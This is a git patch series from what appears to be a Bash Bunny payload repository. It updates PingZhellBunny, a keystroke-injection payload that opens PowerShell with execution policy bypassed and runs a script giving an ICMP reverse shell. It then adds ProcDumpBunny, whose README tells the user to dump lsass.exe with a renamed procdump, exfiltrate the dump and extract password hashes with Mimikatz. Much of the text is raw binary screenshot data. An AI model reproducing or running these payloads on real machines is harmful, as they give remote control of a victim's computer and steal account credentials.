server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (Invoke-pingUin.ps1) and sends it commands to execute.* +*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhell.ps1) and sends it commands to execute.* # There you go, a reverse shell. @@ -28,7 +28,7 @@ Disable ICMP replies by the OS: Start Bunny.pl -> perl Bunny.pl # -Plug in Bashbunny with pingUinBunny equipped. +Plug in Bashbunny with PingZhellBunny equipped. Achieve reverse shell. run away <3 From 979bdbc179932d5d8b72aec19b648875c2beb536 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:12:32 +0100 Subject: [PATCH 18/59] Update README.md --- payloads/library/remote_access/pingUinBunny/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/pingUinBunny/README.md index 69164252..d148250d 100644 --- a/payloads/library/remote_access/pingUinBunny/README.md +++ b/payloads/library/remote_access/pingUinBunny/README.md @@ -2,7 +2,7 @@ Author: 0iphor13 -Version: 1.0 +Version: 1.3 What is PingZhellBunny? # From 2ce8e8f0349cfe802177ab4658b2cf51f7262034 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:16:42 +0100 Subject: [PATCH 19/59] Update payload.txt --- .../remote_access/pingUinBunny/payload.txt | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/payloads/library/remote_access/pingUinBunny/payload.txt b/payloads/library/remote_access/pingUinBunny/payload.txt index 10da7bbb..43d25da3 100644 --- a/payloads/library/remote_access/pingUinBunny/payload.txt +++ b/payloads/library/remote_access/pingUinBunny/payload.txt @@ -1,9 +1,9 @@ #!/bin/bash # -# Title: pingUinBunny +# Title: PingZhellBunny # Description: Get remote access using a icmp reverse shell. # Author: 0iphor13 -# Version: 1.0 +# Version: 1.3 # Category: Remote_Access # Attackmodes: HID, Storage @@ -22,21 +22,17 @@ ATTACKMODE HID STORAGE LED STAGE1 +#After you have adapted the delays for your target, add "-W hidden" DELAY 5000 -RUN WIN "powershell -Exec Bypass" +RUN WIN "powershell -Exec Bypass -NoP -NonI" DELAY 6000 Q ENTER DELAY 10000 -Q STRING "Import-Module ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\Invoke-pingUin.ps1')" -DELAY 10000 +Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')" +DELAY 20000 Q ENTER DELAY 10000 -Q STRING "Invoke-pingUin -IpAddress 0.0.0.0" -DELAY 10000 -Q ENTER - -DELAY 5000 ATTACKMODE HID From 9a8d6113a05972503e95d36a6ce3b491517375f7 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:19:46 +0100 Subject: [PATCH 20/59] Rename payloads/library/remote_access/pingUinBunny/Bunny.pl to payloads/library/remote_access/PingZhellBunny/Bunny.pl --- .../remote_access/{pingUinBunny => PingZhellBunny}/Bunny.pl | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename payloads/library/remote_access/{pingUinBunny => PingZhellBunny}/Bunny.pl (100%) diff --git a/payloads/library/remote_access/pingUinBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl similarity index 100% rename from payloads/library/remote_access/pingUinBunny/Bunny.pl rename to payloads/library/remote_access/PingZhellBunny/Bunny.pl From 496ab3ea23befb50059a12df9862e59b5586779f Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:20:29 +0100 Subject: [PATCH 21/59] Rename payloads/library/remote_access/pingUinBunny/PingZhell.ps1 to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 --- .../remote_access/{pingUinBunny => PingZhellBunny}/PingZhell.ps1 | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename payloads/library/remote_access/{pingUinBunny => PingZhellBunny}/PingZhell.ps1 (100%) diff --git a/payloads/library/remote_access/pingUinBunny/PingZhell.ps1 b/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 similarity index 100% rename from payloads/library/remote_access/pingUinBunny/PingZhell.ps1 rename to payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 From b71cf71651b2c616214105b7911b9b362c100cba Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:20:57 +0100 Subject: [PATCH 22/59] Rename payloads/library/remote_access/pingUinBunny/README.md to payloads/library/remote_access/PingZhellBunny/README.md --- .../remote_access/{pingUinBunny => PingZhellBunny}/README.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename payloads/library/remote_access/{pingUinBunny => PingZhellBunny}/README.md (100%) diff --git a/payloads/library/remote_access/pingUinBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md similarity index 100% rename from payloads/library/remote_access/pingUinBunny/README.md rename to payloads/library/remote_access/PingZhellBunny/README.md From 7308488961d51099b8349c3a943712380563042a Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:21:17 +0100 Subject: [PATCH 23/59] Rename payloads/library/remote_access/pingUinBunny/payload.txt to payloads/library/remote_access/PingZhellBunny/payload.txt --- .../remote_access/{pingUinBunny => PingZhellBunny}/payload.txt | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename payloads/library/remote_access/{pingUinBunny => PingZhellBunny}/payload.txt (100%) diff --git a/payloads/library/remote_access/pingUinBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt similarity index 100% rename from payloads/library/remote_access/pingUinBunny/payload.txt rename to payloads/library/remote_access/PingZhellBunny/payload.txt From d4e77cb2412a96ee7c19bdd82491ea9c69a6b0fc Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:27:30 +0100 Subject: [PATCH 24/59] Update payload.txt --- payloads/library/remote_access/PingZhellBunny/payload.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index 43d25da3..ca6416ee 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -28,11 +28,11 @@ RUN WIN "powershell -Exec Bypass -NoP -NonI" DELAY 6000 Q ENTER -DELAY 10000 +DELAY 20000 Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')" DELAY 20000 Q ENTER -DELAY 10000 +DELAY 15000 ATTACKMODE HID From 953f36ab5029186e10246ff8266c777309442534 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:28:59 +0100 Subject: [PATCH 25/59] Update README.md --- payloads/library/remote_access/PingZhellBunny/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index d148250d..7a6c6a7d 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -28,6 +28,7 @@ Disable ICMP replies by the OS: Start Bunny.pl -> perl Bunny.pl # +!!!Insert the IP of your attacking machine into PingZhell.ps1!!! Plug in Bashbunny with PingZhellBunny equipped. Achieve reverse shell. run away <3 From 3e12c55d9f52f28d758b2c1529235f324555aaae Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:29:19 +0100 Subject: [PATCH 26/59] Update README.md --- payloads/library/remote_access/PingZhellBunny/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index 7a6c6a7d..fe1bcb23 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -29,6 +29,7 @@ Disable ICMP replies by the OS: Start Bunny.pl -> perl Bunny.pl # !!!Insert the IP of your attacking machine into PingZhell.ps1!!! +# Plug in Bashbunny with PingZhellBunny equipped. Achieve reverse shell. run away <3 From 2e096c88f68d9d6feba71371f5dc545311686ef9 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Thu, 23 Dec 2021 13:30:20 +0100 Subject: [PATCH 27/59] Update Bunny.pl --- payloads/library/remote_access/PingZhellBunny/Bunny.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index 733a50cf..a00eb064 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for pingUinBunny +# Modified by 0iphor13 for PingZhell # # # From 199c03cd851d442c213d28d178dedbef3228c3ad Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Tue, 25 Jan 2022 19:13:19 +0100 Subject: [PATCH 28/59] Created ProcDumpBunny Dump lsass.exe with a renamed version of procdump and get the users hashes with Mimikatz --- .../credentials/ProcDumpBunny/README.md | 21 +++++++++ .../ProcDumpBunny/Screenshot (37).png | Bin 0 -> 8927 bytes .../ProcDumpBunny/Screenshot (38).png | Bin 0 -> 79846 bytes .../ProcDumpBunny/Screenshot (39).png | Bin 0 -> 62107 bytes .../credentials/ProcDumpBunny/payload.txt | 44 ++++++++++++++++++ 5 files changed, 65 insertions(+) create mode 100644 payloads/library/credentials/ProcDumpBunny/README.md create mode 100644 payloads/library/credentials/ProcDumpBunny/Screenshot (37).png create mode 100644 payloads/library/credentials/ProcDumpBunny/Screenshot (38).png create mode 100644 payloads/library/credentials/ProcDumpBunny/Screenshot (39).png create mode 100644 payloads/library/credentials/ProcDumpBunny/payload.txt diff --git a/payloads/library/credentials/ProcDumpBunny/README.md b/payloads/library/credentials/ProcDumpBunny/README.md new file mode 100644 index 00000000..7cbb8502 --- /dev/null +++ b/payloads/library/credentials/ProcDumpBunny/README.md @@ -0,0 +1,21 @@ +**Title: ProcDumpBunny** + +Author: 0iphor13 + +Version: 1.0 + +What is ProcDumpBunny? +# +*It is simple - using a renamed version of procdump - you are able to dump hashes from lsass.exe* +# + +**Instruction:** + +Download ProcDump from Microsoft - https://docs.microsoft.com/en-us/sysinternals/downloads/procdump - rename the Executeable to Bunny.exe +![alt text] +Place Bunny.exe in the same payload switch as your payload +![alt text] +# +Plug in BashBunny. +Exfiltrate the out.dmp file and read it with Mimikatz. +![alt text] diff --git a/payloads/library/credentials/ProcDumpBunny/Screenshot (37).png b/payloads/library/credentials/ProcDumpBunny/Screenshot (37).png new file mode 100644 index 0000000000000000000000000000000000000000..37126293567470edeeb15267c19507cbd1050578 GIT binary patch literal 8927 zcmeHthgVZgzit2ll`bzJB1Nf!5a~jwA|O>okRlK|(jjz0M?s|bUZe`rTMTFbQCetH z0wEBjh6n*^LHdpF`<=VKZ{54jI)A{)T066+?wQ~0ndfn^I?Yo*)NCBC*f#w51-N;QmDRRkCRZkTFXiTCxwWcJ+uXsK(^#%aw zzy7(%GDPS(NQt+6)J=TUAokWiP9E+&hE8tw0Ev4N67u)NX-;)==S3hnj z1_0dF)Ox6D7+^`5XK=mgpYv-+Q0}3~>rde?rvxlsU|*SiVpOHP*|65|MsFrvhO(7u z>u3sN^zN(seeHMEx-FMu5wO3&-*k*r8z$bv37?xhSr{kjs*E<*X`6f%S)N`FsizsB z!nAB>Ttq%{1BPJ(L-+E~=$)bSW=_n;wq`+)-}$M7pMxJU$FUIYI@4s2R3{^i;0NaA z1vx2fkeP!ZMeR~aY2koDQBq1c>VU7Ev$KfNM_;$8YyZG0RXJ3q;B%< zeWR^WP>KTp?lSyG`Byybq-vLMJ^Ewd2dtcYokznSnYf}bOUr;o%FYg4A#`(Q)(ND1 zf*xI|$a8N})6R5eM_LC2m?Uy5b9J11_4slX_}5mo6y0c?Bv@Q+uNzf7G`H9=N1jaD znk9J`umS)zHT(m7ox6h~;|mMG7ch6}Fv*;u)Ufa1xAv1d6oo{hAD%#HRdcS~TmR&8 z=l-jWoj&d?7~-IIZQJ0|kw@?{hka1cY|Bno=jk_k(kzP%Fr)%IHYK#m4Vt``mzErc z8}88E&P0}*Xo$LhT%@}5*VWxV<@4|KRRtq^Uzs2G7x-hHVhmx1C-2cU2ZWNo2b!8O z!MkZiEouNjm-b%iTYtn}!7dTjX)%u9FNsV@3f(W=&09F_wL_<8vIOv7o2~yeWNL{2 zdV)PvlJotU&dz0=$Y`!{KaDMzaKJ4G`3laQc9^^GF(0{6b|$ae7uW)p?CwkCY*wqL zf$br|=LTY(r@KvlB2GTsf!hZn;3MsoHoEOnZOo5@`moQOOXGyi)+!6n!uKKdk$ZFg z3n6|lSC>mtHDEfEyFQAaSEG|e&rasIL#Mg1)6M99gCWYJMPCokmeU^?$w?8t~dd@a{Sw|FP^ zaqxrlQ=D?%;%o@P1uQw?4B|fhLA^?P5RARz>_&3H@>1s0*b)DODdQ956&O3$VTJ5x zEt0Xe`(u>$Z%HPMhjOwGUElD@ll34r&kBD`w3L;W=FgK+zo2<7U*Go5ZOW$cq#x5} zR<|3$5ZuLZ{^jIR-#0gkc@M7nLY1ZID8!-;jj zSTig`*l)Fqkd1FMNMNVy)^(w?6U@RnYX1WpIQTp5AA2}rI}l*HWNFXyqtP(LkC01; zs=rMx0RSK3xb^at!z={^1XiYu!P4EmzS9;DuupOgGFh@9A>O#h^&N6j{9A4IjnbeqM)m z?Z}OF-y1xIiW}!~FK=AOyZHiV&d;{PJR-lEAvIV#l0Lb8z-&!-p0}Dq39Sz1lS`tsoau~<{ik8ie&!=h(JKF&3^%};2eW#54gtJgSi3tfgv=)ky z$gwtGcFV3BSpVmmRhyT+PohAClBSpghlmU+YqJm4s@3Cxt#oc5SmV%|K_3=GIDR!1 z`N1RW^dr!WOL~w_^F@#kqeXKm$ZNs=r5(3>e zAfz2@w#gcqDaz&+HmrX>EP(b3-HBLtu2fAzmGvsBRFECvln&+KM{9X5^gfEYdML2= zSeJw_z(U*XSq*aBsugQ*grPDq-B@kD4CpF=$qu3O4(moLGUh4- z1EB8x12YnTfLrCVsst%u9QTA%hEGL6XaImrOSQk##)e3RNxuh||3E$CzZ_UBIn*#S7&@E1B`HD~! zJ*9JL-!K8TAf}mkbMdz+uDzqf-p1w&g8XOC&cxhIXIu|aL{otMLm^c^_f9A6l*A9!1a+VV-Fh*hijiNB`T5QoqL-t#;3~Xi-+znh?bshZ47yK>qkgG zrog|8})c_X_POvH!FfqjB-_0oCP)xg#2M$-s_N$jP|x z0m{V{>}wf*lQtdLicfi}wJ#IEf4Lanvc2i4Pa8P!IL>EtWeA`W7~!T7Ijy*iuKCJl z|6lEkGhj+$tklF!}W`O9Up{F2?#yrXO;E~nIo zQYxYQW3sEt;NWihs=H!5mQ^Z&3Lv39MReDd&azEbGvR=fsiQCJECcwD-RxR)y4uen zTP-6SnT7F+4FwGPzlcM{kAQ+|R=(rF2RW>Q8mxlae#i1<3OSp>TQ4eYlyK#kN;yYF zI(waP0fiZ#_y=5qHd^R01ybL!%rSJVpbtNXV-%@%nUwP|Z|c4lnakx+b8tE{bX7uO z>C@rJI7rW5zI&{{K~jUV?diq)M??OM&r{&0jROl^>fm2C;=cpMF7ok8`m~oSje>4T z^Knj`5u2-o3xExozg2fT&whhl=#z~FaXMC>mO&Csm2RJRWw|d6mtB$rUzdY6aTG~_ zd2&M}hBjWc;JxOtYx{D7YQtSGK@@kKoD%A-$QvMY264YKU>%?IpKBF z+n{I}VOnIrZrrb_hQZeKpGm{@3)yjf#a&+RN{10c-YZIeNO8yrf7u1V>f0VADwY4J zV8zH*0a&^i^LszDFTB6la@h9(xt`By31i1Z6MmcCv0~BIsi;&p3yOA4zJEt;#APQc z|C`A>@9@2E`Cgfhh*t%N%po1JRs$n}o(VdkQq~d?gpkjvzkpp|X3Isbp^fq^BmJim z7IQ4o-V$bh({HoivAf;`9lK5Joq7unFSHKBOOSX%vI>z8Ei8&9usln$i$?VYHyF%` zkv;G5sVrO5C|CZyYDfMp{nA#p=EP{APEvrDBi) zV`}^1rz>aC^->|jxKC8mzMK#jjAUwK>lVLgIknmcRENzfo-*mt=#vELFGTO{B2Yff z7}jt|N#-QXa%6q+>E03fhxuN|q9gyKUgcF(K$W_RwF#tqGS(rhTr*ngL%LhWQFN2= za;o%!L;2?9QfL@U7i28xJDf5{Nfe$f@y#;i~vZw z$T03IlBgpnC87l6UBe$=o#-pv>$P|8#gfZxVAtF0)PnLtl=!QTnC@Iif0WDd@RdAG ztMF^hZ1<_*duAgpBvE`a|a1y zL&GLEgXk>)`RmJgVDIM1xTQ8bj?TUVJSp1Ra?i=mZm7>q&(x)D9ekw6KvBY#z@>Z~ zcdOtTHY!b66h2^?LjYdLiPzNldWD*3xOPH@jnZfVdOQXAI~lrGt9UnJ6EzV~Lrp@h zhNZzUnm`_D-YE8M$KD3WX6Sd!Cbr%LU?NMx!-fh^5Mx~Tze5uVF8)iN{ezT@|0umz z)Q6<3aK`_@+5aC%zPZ?7Eo$H3Itl}xYV;pr_Rz%AgK+;HR^#2;&PZpGubZTq8YZfHH?`( z?fgz0TwE%#y;-#bjyWZsVkfK4u@?^g<@M zNV*@-_=j;|#<}1Qqrm(15WPdtfU&uk`Y>m>zywy%?b*M8@6hfHm~7_~H$)q>+$6C@Pw$B^ zq#WCS9x6gv=7TAh{N99T)ecT_(SDciKY!u9|Z65Ko=uWyWXP?1gxFV3# zxlGh_DBjStGV!LI0gCM9gV)yV#L@-Q`bJyY>N~`>$!fPhGmv~H6Tp>q`uc)B*h*@sy=Z4w7EoXPI7LZdM|=rDo@4GE;_#i#?MR9nY1r)m}mg5 zEA~>0EEh0jI!@-jpGW-`!h>WI11}B71<&d1;ehFO)M+mDbtCw>2 z^&3vjz)AW{Bec4cXmvh~-*1vOIv^+j!W)G#5mVH^;^T7m+|=`pn`nxZFfNh;==^cokQ;YcjJ`&Dwj@_%86Vf8o6AL-?4p|CD$^`J8f z@pcRULarQG`2#t}5Cew*(acgkslhO@k_oh+OtCau*?H)9nikdxHp3(HADhdC=|l0f zAjj|q1Dh^Ieou|}#uHO~P$?CJ$=j5TAwIU%F$+QWVrXrQGBD?K!2K_s1{YoJ(cIJjwwBU z{jC_+?WX&}3|zAUCk&g(oYX{QTV-$mZ3?;xAPe)I=XCdQYKLMy{8WqAUJaIHaV$8@ z1)&h<)~nqGy$>UXDp+7janS8yKGB>)Rwq0=B+8_c17Zo{7nCv^|JYso0&sDK6&pLEp{s?D&cMy zK2uTGLPu2>0Jiu^6}#IBw^Ep{CD5VY>RcqZ~sN>m6vUeCRhX>c4$0 z&^exw{iTUKui~E3&#l>$GTBwduWauZCv}UtX`LGEn!_5&_j*NT>xMt#T}&^o3yjfC zj#hx4xfgT1*GjY~YF~h+jkgcOpW+#)8ZFKw|pZ7x1Pr4JNW z@)qk4&41XJeI5s4yohpgB*a9E!VEMtY2&~edi0kR2QRU$ zlJ%FmE;FwmT->c!kGu0+dJH&#r)O{4Q&+-s9dfblVDn<(4VUefEpBX%i1rU^iZdLy zri8wf;$tK#z zd%i(=oki3N5fU2}0)f7eFhThJHl4!VP`y7wwVdH~hWj!@nZqgO6rkPDS1 z=WiFX-LOOIwB+Bk0_mbh^+#xTK}!ChG~lvRt}a9@D~*N?IH>Mu0hA8|ntL7tEq}$} z7rZYHz^S9SKMK0Z`;X6>Mp`fVwDWw2yZmtb0*kmN?jihZgbV6wSl6*7f3*1Z)oD@K z5gWNZspwbdTnNoD>xaFOg*{v=$fMo6?HLJhU;Fs`YI$s5+^hfN?-m+n<^%go^x7sV zi`m*HA(?G$cfT^*LWc04(sxUfl!W_|xc#vQRDZNP;EhexihqAr=xOAqUy+zq58s$N zezT|=_qpaig8Lk=?2P_=@Sf-{KJ0gVFtOPmsSYCSVnkx%(jZnbA@G+v^IT)W`$aPc z=lqTTb9NDvO-R{hE~pO11X!Fx-JW;5ac@?;A&<-WWplEA>Y?O0bBzwXRexV^yhydt zSBA^iNp<=;-22(IqqFUK9=3riznH|?Z=h-`kii&Ec;>oV(2e6mr07L}(KOSJt=(&k$UkRvpKB;9AR zLU?_xVO?~Wr}=K_ZBEd^iz=QTcASm?$iDaC+ZXQUd0rF7=3$SAj$2?_HtuHn*#Yk6 z6%J-)(oVg1$FS2P67oM?Q-p4)j3OUdMBEDJH=2MKKisCG>$f_kv>-7Sod>fYyQ<<| zxbJL+?E1fe4OXt^xwOrFfqK>}L~S~xNJnk@^$kf`o$1if__PnGg!Ev0 zw(d=EVmD~fx2Of;Y=RV_3_4!B;gSM&npJv)$i2I+(^rQi1Amx-7*%|=oZND`{|{GTo(4s@|BI~X+;cU3{T(ZaMllT( zHq`gzcPTZ}H}|v1VeW1(w4q${^M((Tc*8hcDtuK8Y?7q6&;6{KeIDKm7{KUn>Qp~ zo<Xx5A-XmFUl+ohy*scNKX1n zq1x>euHB9BBPrh13@; zIQe5J%8!>`6Ml~E25zNVjJs7(J<*ewWxPyuCAKEM$Vw0fyZio40|Jxe1a)QD$jz3S zj0~18`J?G`M*3QR#&7HOx8x;8FJ6jK8Xl#i^>&OdP`oFG zwyKK0V&-%Hhv6v6;T{OA%4`a8sh0Ni7atCwljMCNo(L9GMXAsZZcQ6Y!8Xrw< z($FEre>HH0j9+o}2i>Zj73qL+rcx*6vhjoJGTbC?Jr3$|aWcl;$()rByil#A1Z2QX z5m@wj_KPIOd`@~6lz{(j{ywGHsm-Dgyi!dPD|>wq#t9rxKb_AsOCnJG_lbTv`6 zlC_Eml41vjA2o=?50tpgq)ZiseMr-*TN5nq_eH#q->|3P*0B-^N!&SMV>Tng@BiNo5~G6Id+|{Q0Kep>UFoOp}Kv*HWa@E9pXY>w_*~FPX#FY3uJ5Q0=v8;S=!Z6Gec&CFnBmagI zYG*v|5Wdi4k^1e~F88@7!K>gVRNHQP9&#v_QrUa^!Ae?Z`oy?ss8KZY_3iDt@w$<; zIYEC+pcJ5Tj{H4OK}w->&KOY%uNTO$Q?7H6|IIW<$9ERUPA4S2Rx|m;3j1-jx0PKs zM0A6@=h6x%=qy}zJ_kYp>9lA&mIM|PiS^Qh?xL~C>~d-+==W% zUsPOuFfou3$?O=4v*EK99E%Y+gV12w!bEKohgBR*o4ergw1X=(!jn+3>!aF#yt0v_+?VhcC7HquK--9lE2+cVe4vXA`$WA%CUi(hmE;8KiMvl=VN|yoC-57!Am|cpCTopL(Phmq(ROKdUVL;`ajfT z_F1ikVd~stvYsDvq7JVd4B4kw~)Rfb7xTP=fVn!fEy+z&Q7X6u8<|(k~6)Hh@ zxySfL8BwICOO!9RMpp-4c{10=>^E0d#bjyHE?!8;!qYn*Ij~c*bKPk*-l@DI@-_(E z_zuAm>R}?5kWaH;d6OC!=FQ#-@cWrF zJA8~VuVv?6Dm=?TKqLk_w`9r%P$4@R)&=e_H!ZkxW-RR1lkjhyZ#h%FtK0#Rh zOlVayokpLw_UJMa_FckjdiFHA8oi^Z^0ZJ3T3l%%10^?|c}_@&BjHn(PJjD`NGJY! z@IStp2E+e!8U4p$|9_L^e9m@=-77qtF+PAE<13HY{N5KF9 literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/ProcDumpBunny/Screenshot (38).png b/payloads/library/credentials/ProcDumpBunny/Screenshot (38).png new file mode 100644 index 0000000000000000000000000000000000000000..990830a9a6f163709e21c06f8c6e29cfaba227ac GIT binary patch literal 79846 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 